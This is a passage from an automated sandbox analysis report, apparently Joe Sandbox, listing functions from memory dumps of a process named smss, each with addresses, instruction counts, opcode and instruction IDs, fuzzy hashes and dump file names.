                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 468a530132718e88024f537492911d32cced5c1f864ad7c39c032a61e1b74004
                                                      • Instruction ID: 7149ffc2ed92ae4c069388fa4079f7b5ff8a057828ce1c5078e79459197f51ca
                                                      • Opcode Fuzzy Hash: 468a530132718e88024f537492911d32cced5c1f864ad7c39c032a61e1b74004
                                                      • Instruction Fuzzy Hash: 95D181346289568BEB59CF48C4E06B537B1FF55350B6445BDC85F8B68ACB38F882CB81
                                                      Function 00007FFD9C095E1F Relevance: .3, Instructions: 339COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b27e4381c60265598b13077bb301fcc989c1f3fc9fd84d1f0c960b3a8e9782a4
                                                      • Instruction ID: 806771a2e1fc03689ef939e7e41e8c3fca05d48c4d4bf8faaf2e0c992abdb962
                                                      • Opcode Fuzzy Hash: b27e4381c60265598b13077bb301fcc989c1f3fc9fd84d1f0c960b3a8e9782a4
                                                      • Instruction Fuzzy Hash: 4DC17F30618A568BEB59CF58C4E06B177B1FF45350B5446BDD88F8B68BCB38E441DB81
                                                      Function 00007FFD9C09EECF Relevance: .3, Instructions: 336COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0469dd521513dfd069fde4b3d051abeffed558033602bf951eaea05c5b1abfb5
                                                      • Instruction ID: 8fed13f57c87a6479dbe57c93369680d637767b78af91d8ff06af85e18a67533
                                                      • Opcode Fuzzy Hash: 0469dd521513dfd069fde4b3d051abeffed558033602bf951eaea05c5b1abfb5
                                                      • Instruction Fuzzy Hash: 34C181306289568BEB19CF58C4E06B537B1FF45350B6445BDD85F8B68BDB38E882CB81
                                                      Function 00007FFD9BCF7E6F Relevance: .3, Instructions: 334COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4200b66dbc5d33caf1e601bd45ec164e1e9b31b9a7adc96356e9e16d1375e973
                                                      • Instruction ID: 853cffa04269bf270fcba7420f38306399d94bf33b6b3d2de2df344593823c0f
                                                      • Opcode Fuzzy Hash: 4200b66dbc5d33caf1e601bd45ec164e1e9b31b9a7adc96356e9e16d1375e973
                                                      • Instruction Fuzzy Hash: 9FC1CE3071950ACBEB2DCF68C5E05B93BA1FF45300B5546FDD84A8B69ACA38F981CB40
                                                      Function 00007FFD9C09E762 Relevance: .3, Instructions: 329COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c037ae657e31e3495bffb581e907b05c157d9a7646d4690e17824c1b056f2864
                                                      • Instruction ID: 82dfb00e0a16bc1ae0fec2d425c334b1441afbc361d20a25f7c205295350880d
                                                      • Opcode Fuzzy Hash: c037ae657e31e3495bffb581e907b05c157d9a7646d4690e17824c1b056f2864
                                                      • Instruction Fuzzy Hash: C8C1BE30B08A478FE759DB98C4A07A4BBB1FF59380F644579D05EC7A96DB28BC51CB80
                                                      Function 00007FFD9BCFE1F2 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: cca4b65e31bca43ee36121cb6b6568cd0b8029d465c9939e90ead8b129ae0985
                                                      • Instruction ID: bafbbb1e4ffb429f4b9abac205625132673779dfc465fd502a86208c68f502fb
                                                      • Opcode Fuzzy Hash: cca4b65e31bca43ee36121cb6b6568cd0b8029d465c9939e90ead8b129ae0985
                                                      • Instruction Fuzzy Hash: 40C1C530B09A4B4FE759DFA8C0606A8BFA1FF58300F4541BDD04EC7AA6DB28B951C780
                                                      Function 00007FFD9BCF7702 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8b8b49e8efb26bfc7fab49e08d057aa55caa6ac4a26fb467492fd802d69612cb
                                                      • Instruction ID: e1dde9f95599e7eba3fd757f33048507a0dc286119e175425ad07082b64b76c8
                                                      • Opcode Fuzzy Hash: 8b8b49e8efb26bfc7fab49e08d057aa55caa6ac4a26fb467492fd802d69612cb
                                                      • Instruction Fuzzy Hash: ACC1E730B1D94B5FE759DB78C0606A8BFA1FF55310F5541BAC04EC7A96CB28B951CB80
                                                      Function 00007FFD9C0956B2 Relevance: .3, Instructions: 327COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 56f0653c015d4caf61e86bdfdaacf1c91c4d9095a41f86dfc0f9431b46c69c66
                                                      • Instruction ID: 80114369cabef65d9fedc49380a71fdf6b9402c3b76cb7157224df3995c1403d
                                                      • Opcode Fuzzy Hash: 56f0653c015d4caf61e86bdfdaacf1c91c4d9095a41f86dfc0f9431b46c69c66
                                                      • Instruction Fuzzy Hash: F8C1DF30B08A478FE759DB6AC0A07B5B7B1FF59350F54427AD04EC7AC6DB28B8519B80
                                                      Function 00007FFD9C093077 Relevance: .3, Instructions: 306COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 594dff8a4be12dc3223fe4bf75ff66a77636c11248542b8ec81ecee7ea3e98ae
                                                      • Instruction ID: 1191d7bf6f6feafd3fdad2d9d8fc93e331615a665c376328ae3bbe9865f001e2
                                                      • Opcode Fuzzy Hash: 594dff8a4be12dc3223fe4bf75ff66a77636c11248542b8ec81ecee7ea3e98ae
                                                      • Instruction Fuzzy Hash: BD21D222F0D4678AE67566E864326F867709F493A0F180277D65E870C6CE0D28446BC3
                                                      Function 00007FFD9BCF50D7 Relevance: .3, Instructions: 305COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 23227f9d5db37cfb98d4bf4911a4cb6515802183611bce1d50c9ea5de8521e2c
                                                      • Instruction ID: 68296f734655e9e23a57617248146de58ef40b9ef20562ddb251daeeec018f7e
                                                      • Opcode Fuzzy Hash: 23227f9d5db37cfb98d4bf4911a4cb6515802183611bce1d50c9ea5de8521e2c
                                                      • Instruction Fuzzy Hash: D121A002F0F69F86F6B862BD28324FC1E805F51221F2A02F6D24E861E7DC4D7A4953C2
                                                      Function 00007FFD9C093B00 Relevance: .3, Instructions: 303COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5795fa87d127c9f302641d00ebd60a726d18a9ae86989e5cd9b7b3f095e2f811
                                                      • Instruction ID: a50b3b037b26febcfcd42eadc81662169f642124d4cad6f6d9d9f3f2edc1bcbe
                                                      • Opcode Fuzzy Hash: 5795fa87d127c9f302641d00ebd60a726d18a9ae86989e5cd9b7b3f095e2f811
                                                      • Instruction Fuzzy Hash: 1A916130B18A1E8FDB58DB58C895AB9B3F2FF59314B144169D04EC72A6DB35EC42CB41
                                                      Function 00007FFD9BCFBBFC Relevance: .3, Instructions: 301COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 54f84cae178529891e210d5017eb6b9c456a37d5c4f567675bd330948f0e7866
                                                      • Instruction ID: 0c4bc6e83839a83ac1ddb761a89b82426e7b139725fa5d4da36031d5190a0581
                                                      • Opcode Fuzzy Hash: 54f84cae178529891e210d5017eb6b9c456a37d5c4f567675bd330948f0e7866
                                                      • Instruction Fuzzy Hash: 2321F406F4F59B86F77926F828721BC7E425F54710F1A01F7D24E860F2CE0D2A445392
                                                      Function 00007FFD9BCF7E4F Relevance: .3, Instructions: 295COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 12814d19e3be8c0451e6accc0112dd864d3f82101dcf406c7c7fa7012174d63d
                                                      • Instruction ID: d984b8a249dfae02b844a823e9238fe1b3849e80fc5a884117a54349da9a12d5
                                                      • Opcode Fuzzy Hash: 12814d19e3be8c0451e6accc0112dd864d3f82101dcf406c7c7fa7012174d63d
                                                      • Instruction Fuzzy Hash: 04B1AC706196098FEB5DCF68C5E05B53BA1FF49310B5142FDC84A8B69EC738E982CB85
                                                      Function 00007FFD9BCFEA55 Relevance: .3, Instructions: 291COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4aec6bd3911f110d9e415f1d709ea64d14424035c3a308f7aba9c59facfae716
                                                      • Instruction ID: 18ce5bbf7726adf3de9769a1f9cd049d4584530ca9d9c2b2a08755dca0bfbaff
                                                      • Opcode Fuzzy Hash: 4aec6bd3911f110d9e415f1d709ea64d14424035c3a308f7aba9c59facfae716
                                                      • Instruction Fuzzy Hash: DBB1B33071955A8BEB59CF58C0E05B83BA1FF48310B5546FDD88BCB69AC638F981CB80
                                                      Function 00007FFD9C094BE6 Relevance: .3, Instructions: 269COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 9f53e294b0b242976073aaea1eb90d978166886a8060763ca19b0ba8d6c9dde5
                                                      • Instruction ID: 78d07de906cea03557e91f9d8e0cb5c31ca0e83129f5bf1de6734bf25aa11a33
                                                      • Opcode Fuzzy Hash: 9f53e294b0b242976073aaea1eb90d978166886a8060763ca19b0ba8d6c9dde5
                                                      • Instruction Fuzzy Hash: 19813372B0DA074FE778AAE894652B577F0EF41390F14447ED08EC3292DF29B802A761
                                                      Function 00007FFD9BCFD736 Relevance: .3, Instructions: 267COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bec35bc1d57c0585c3b4b801f3b2c835878c1b4ad8012b178ca0646f4ee7569
                                                      • Instruction ID: 45fb0afe8510905cfd2340963e5b7b1e3271da6ce7885e2748de0d9b8e5b562a
                                                      • Opcode Fuzzy Hash: 4bec35bc1d57c0585c3b4b801f3b2c835878c1b4ad8012b178ca0646f4ee7569
                                                      • Instruction Fuzzy Hash: 02817F31B0EA0A4FE7796EB894651BD7BE0EF41310B1605BED09FC31A7DE19B6028791
                                                      Function 00007FFD9C09DCA6 Relevance: .3, Instructions: 260COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 027a918ae242f26897c9099df06dfea038ddc78f0f6f4502e7079d96ba41b432
                                                      • Instruction ID: 36744cd7a16abaa72dd13d3a74fbdf60a05caac67d70339fa93a97b7d2319ca2
                                                      • Opcode Fuzzy Hash: 027a918ae242f26897c9099df06dfea038ddc78f0f6f4502e7079d96ba41b432
                                                      • Instruction Fuzzy Hash: 75813631B8D7434BF379AAA894656B5B7F0EF55390F14047ED08EC3192DF297802A751
                                                      Function 00007FFD9C09C0F9 Relevance: .3, Instructions: 257COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 58e064e3a8f2fe26b8c15a8fbb763279c686b87a1d3d02361edbf730611f9bc3
                                                      • Instruction ID: d76636b14803c4ae8a85c58818f89c8725260c3e8e1b4d30e0ad3de8da31b531
                                                      • Opcode Fuzzy Hash: 58e064e3a8f2fe26b8c15a8fbb763279c686b87a1d3d02361edbf730611f9bc3
                                                      • Instruction Fuzzy Hash: E2716931E0C54B4FE778DA9888766B437F0FF49350F0402B9D59EC35A2DF18A80A9782
                                                      Function 00007FFD9C090729 Relevance: .3, Instructions: 257COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6e07b92324ca89c49e313ee892cf8b01297c328f1c1f996c00db0aad207a5d44
                                                      • Instruction ID: 66b41c79080c4e932601009f409e5e488c4921681ccfad6512e1c17a214b742d
                                                      • Opcode Fuzzy Hash: 6e07b92324ca89c49e313ee892cf8b01297c328f1c1f996c00db0aad207a5d44
                                                      • Instruction Fuzzy Hash: 37713731B0C54B4FE7B8DA5888266B677E0EF4C354F4402B9D4DEC35A2DF18A82A97C1
                                                      Function 00007FFD9C092D29 Relevance: .3, Instructions: 256COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 34b1903dbce36c95f13393a5c45a35be5c03df4214f41e3defb19d52619fa466
                                                      • Instruction ID: 1c9fc44dee2272422b5d1c64d8694c41958e904f2877104a3e16f91766f8f3f6
                                                      • Opcode Fuzzy Hash: 34b1903dbce36c95f13393a5c45a35be5c03df4214f41e3defb19d52619fa466
                                                      • Instruction Fuzzy Hash: FE714835A0D54B8FEB7CDA5888A66B477E0FF48350F0402B9D49EC75A3DF18A81A9781
                                                      Function 00007FFD9BCF4D89 Relevance: .3, Instructions: 254COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a8ad3e3cdf61305192e70fc15022724ab2900b536cceba76f163abd038df64b0
                                                      • Instruction ID: 47cc03cb083b9bfc6dd5ee93b40b28fcff42be43455fbc63d2ec49e8dec4629c
                                                      • Opcode Fuzzy Hash: a8ad3e3cdf61305192e70fc15022724ab2900b536cceba76f163abd038df64b0
                                                      • Instruction Fuzzy Hash: 70711531B0E44D9FE778DA6988665BCBBD2EF44310B0602FDD05EC75B2DE18AB168781
                                                      Function 00007FFD9BCFB899 Relevance: .3, Instructions: 254COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4302446d0350c62c0a6fbcd222994ed1765684659e9e8fdd76b7bdcb6dcb26ad
                                                      • Instruction ID: 4575842211e586328f20a36c04b2ddbf337cf3aa4a7b2538f7463cfa7e71d7dd
                                                      • Opcode Fuzzy Hash: 4302446d0350c62c0a6fbcd222994ed1765684659e9e8fdd76b7bdcb6dcb26ad
                                                      • Instruction Fuzzy Hash: 7471F831B0E54E4BE778DA6888665B87FE0EF44310B1602F9D06EC75B2DF18AB068681
                                                      Function 00007FFD9BCF6C46 Relevance: .3, Instructions: 251COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c9ec19a81d7c74585e13a0ddd5677a4441330ebccfbeb50de7a10c2425ab54d2
                                                      • Instruction ID: b2f9578efcf0a33f75c8e28652d63411a48532153bf55b15632abb250b917e88
                                                      • Opcode Fuzzy Hash: c9ec19a81d7c74585e13a0ddd5677a4441330ebccfbeb50de7a10c2425ab54d2
                                                      • Instruction Fuzzy Hash: 01713832B0EA4A4BE3396B7894655BD7FE1EF51310B1605BEE0CE831A3DE19B902C741
                                                      Function 00007FFD9BCFE95A Relevance: .2, Instructions: 241COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: acd39c7d60a8191ba1e63255061a2a6781b1c8acd62ed2f2282a4d8d340dabad
                                                      • Instruction ID: c51bf75e7e7bf99c1569f132f3ea21172dde7dd5e1901b082544fa226e3a7bf8
                                                      • Opcode Fuzzy Hash: acd39c7d60a8191ba1e63255061a2a6781b1c8acd62ed2f2282a4d8d340dabad
                                                      • Instruction Fuzzy Hash: E081E430B0A54A8FEB698F6484A06B97FA1FF45300F1545FDD44E8B59BCA38AA41CB51
                                                      Function 00007FFD9C09C9CB Relevance: .2, Instructions: 240COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 91492e0b03e2c3910bd3f6252892627a78e5533353b0c8bf58b9a8397160ed3d
                                                      • Instruction ID: 94db7feb35c55d79caaa8690e99a900ccaa80a216770eed131425577e7994c70
                                                      • Opcode Fuzzy Hash: 91492e0b03e2c3910bd3f6252892627a78e5533353b0c8bf58b9a8397160ed3d
                                                      • Instruction Fuzzy Hash: 45819E30F1C54B8EEB65EBA888647BCBBB0EF55384F5001BAD00ED71C6DF286841A741
                                                      Function 00007FFD9C096E41 Relevance: .2, Instructions: 231COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 440b6bfa2e4a0651ae40741a586c1b15aff3d1a3a5ea2dd9c6162a49f447ed23
                                                      • Instruction ID: 0c79b24bd35ad95964ae38194f7c734f0553ee29982bbe4ca425f1c676fc54c7
                                                      • Opcode Fuzzy Hash: 440b6bfa2e4a0651ae40741a586c1b15aff3d1a3a5ea2dd9c6162a49f447ed23
                                                      • Instruction Fuzzy Hash: F5819B31A1CB478BE3B9DB98C4B567177B1FF44380F50557DC08E87A92DB29B8429B41
                                                      Function 00007FFD9C0938EB Relevance: .2, Instructions: 229COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 195efabdb0e31cc24fa3a47440624d7c1182f986f355010c150e480dc9a0d3c1
                                                      • Instruction ID: bf9ffee6de92e59f1ae26698c542fff836c7c1a6366da404ed1dc6e1e12c3522
                                                      • Opcode Fuzzy Hash: 195efabdb0e31cc24fa3a47440624d7c1182f986f355010c150e480dc9a0d3c1
                                                      • Instruction Fuzzy Hash: A371C130E1C65B8FEB65DBA488657BDBBB1EF59380F1400BAD01EC31D6DF29A8419B41
                                                      Function 00007FFD9C09FEF1 Relevance: .2, Instructions: 224COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 76515f32f2944926b4920421f985d5f43600b0c713b99492bf8955312268e953
                                                      • Instruction ID: 5a80af08c07646e02e44c3689431be4064f2092b10cd74ec9c8cbc3af0fec77a
                                                      • Opcode Fuzzy Hash: 76515f32f2944926b4920421f985d5f43600b0c713b99492bf8955312268e953
                                                      • Instruction Fuzzy Hash: D381BF30A18B0B8FE378DB54C5A8AB177B1FF44344F90497DC48F87A92CB69B8529B41
                                                      Function 00007FFD9C0929D3 Relevance: .2, Instructions: 171COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 58db7641b3de0cbacf80441794afc211d8158007b99b71ec35a4295bd7f9db01
                                                      • Instruction ID: e0c1aad71f50943946bc01b700a559818b636ed8c73a96df54de41129b42019d
                                                      • Opcode Fuzzy Hash: 58db7641b3de0cbacf80441794afc211d8158007b99b71ec35a4295bd7f9db01
                                                      • Instruction Fuzzy Hash: 2951E633A0D6AA8FDB66EBA8D8A06E9BB71EF46390F0901B7D04DD7193DE245805C351
                                                      Function 00007FFD9BCFC45B Relevance: .2, Instructions: 163COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90a169aeae64b7c7e43d89ddce1cc9a4df0fcad5bdcbf885cd03f6264c93fab8
                                                      • Instruction ID: 6dc3dad635290e869d5c6fb2e98ccf29ef08169cd4b49867cad999e1990c19dd
                                                      • Opcode Fuzzy Hash: 90a169aeae64b7c7e43d89ddce1cc9a4df0fcad5bdcbf885cd03f6264c93fab8
                                                      • Instruction Fuzzy Hash: D7518A30F1954E8FEBA5EBB488616FDBFB0FF58301F5104B9D01AD71A6DA286A41D700
                                                      Function 00007FFD9C0A9B20 Relevance: .2, Instructions: 163COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 04ff4da1bfd7417f9984f03241c1300c4da0d42fe5d890a7ce2e16e2ac68dafb
                                                      • Instruction ID: c7d72051eb873c8039184456deb84cf4dc3488f56c7c54b3aed637cd5508462f
                                                      • Opcode Fuzzy Hash: 04ff4da1bfd7417f9984f03241c1300c4da0d42fe5d890a7ce2e16e2ac68dafb
                                                      • Instruction Fuzzy Hash: 3D51BF30E1864A9FEB69DBA88469ABD7BB0FF55340F0041BEE40DD3292DF346944DB41
                                                      Function 00007FFD9B9308D0 Relevance: .2, Instructions: 156COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
